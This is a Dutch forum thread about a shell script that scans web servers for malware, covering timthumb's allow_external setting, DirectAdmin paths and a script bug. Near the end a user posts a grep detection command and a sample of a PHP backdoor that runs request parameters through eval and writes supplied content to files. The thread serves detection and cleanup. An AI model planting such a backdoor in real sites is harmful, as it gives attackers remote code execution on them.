Onderwerp: Je webserver/server scannen voor malware of geinfecteerde bestanden

Ik heb zowel de DirectAdmin als de timthumb module toegevoegd. Morgen komen de testresultaten op de sourceforge pagina te staan.

Keizer ik heb je nickname in het script toegevoegd, meer info volgt no op SF

Met timthumb is opzich niets mis, maar WEL als ie op allow_external op true staat. Wellicht is dat te checken?

Oorspronkelijk geplaatst door Ramon Fincken

Met timthumb is opzich niets mis, maar WEL als ie op allow_external op true staat. Wellicht is dat te checken?

Ja maar aangezien hij standaard op true staat (bij de oudere versies) en 99 van de 100 gebruikers hem zelf niet installereert en/of configureert leek het me handiger om de oude versies op te sporen om zo up te daten.

Ik had deze thread helemaal gemist. Goed initiatief en ik ga het ook gelijk testen. Bedankt UnFlux!

Interessante tool, maar hoe doe je dat bij DA optie 1 iFrames scan?

Where are the websites located?
Eg. /var/www/

In DA staan die onder /home/user/domains/domeinnaam/public_html
Kun je hier asterisk voor plaatsen?
Bijvoorbeeld: /home/*/domains/*/public_html of moet het anders?

Misschien nog een bugje gevonden bij de DA .htaccess scan:

Scanning all public_htmls'
Checking .php files
Fri Dec 14 17:30:28 CET 2012
Checking .js files
Fri Dec 14 17:30:30 CET 2012
Checking .htaccess files
Fri Dec 14 17:30:30 CET 2012
./ServerAnalyser-v1.0.0.sh: line 101: -e: command not found
Checking for common exploited files
Fri Dec 14 17:30:30 CET 2012

Command not found?

Dat lijkt me prima werken ja, probeer het eens uit zou ik zeggen

En die command not found?

Lijkt een foutje te zijn geslopen in de laatste versie:

Code:

	-e 'RewriteCond' |

Die | moet een \ zijn, alleen snap ik überhaupt niet waarom er op 'RewriteCrond' gezocht wordt.

Oke thanks, pas ik het wel even aan.

Nog een kleine aanvulling:

Tegenwoordig doet dit commando goede zaken:

Code:

find . -name "*.php" -print0 | xargs -0 grep --color "eval" | grep --color "fopen"

voor dit soort meuk:

Code:

$jmjnzn = "c5c1253ded399f622d32b00c60463ce16"; if(isset($_REQUEST['pbiuv2sbn'])) { $ypj12pz = $_REQUEST['pbiu3vsbn']; eval($ypj12pz); exit(0); } if(isset($_REQUEST['nqlqj2gzh'])) { $odm43d = $_REQUEST['d3dhelca']; $en12mc = $_REQUEST['nqlqj2gzh']; $wrcs = fopen($e1nmc, 'w'); $sd423vck = fwrite($w2rcs, $odm3d); fclose($wr5cs); echo $sdv7ck; exit();

Ik zal het deze week ook even gaan testen en mijn bevendingen laten weten..;-)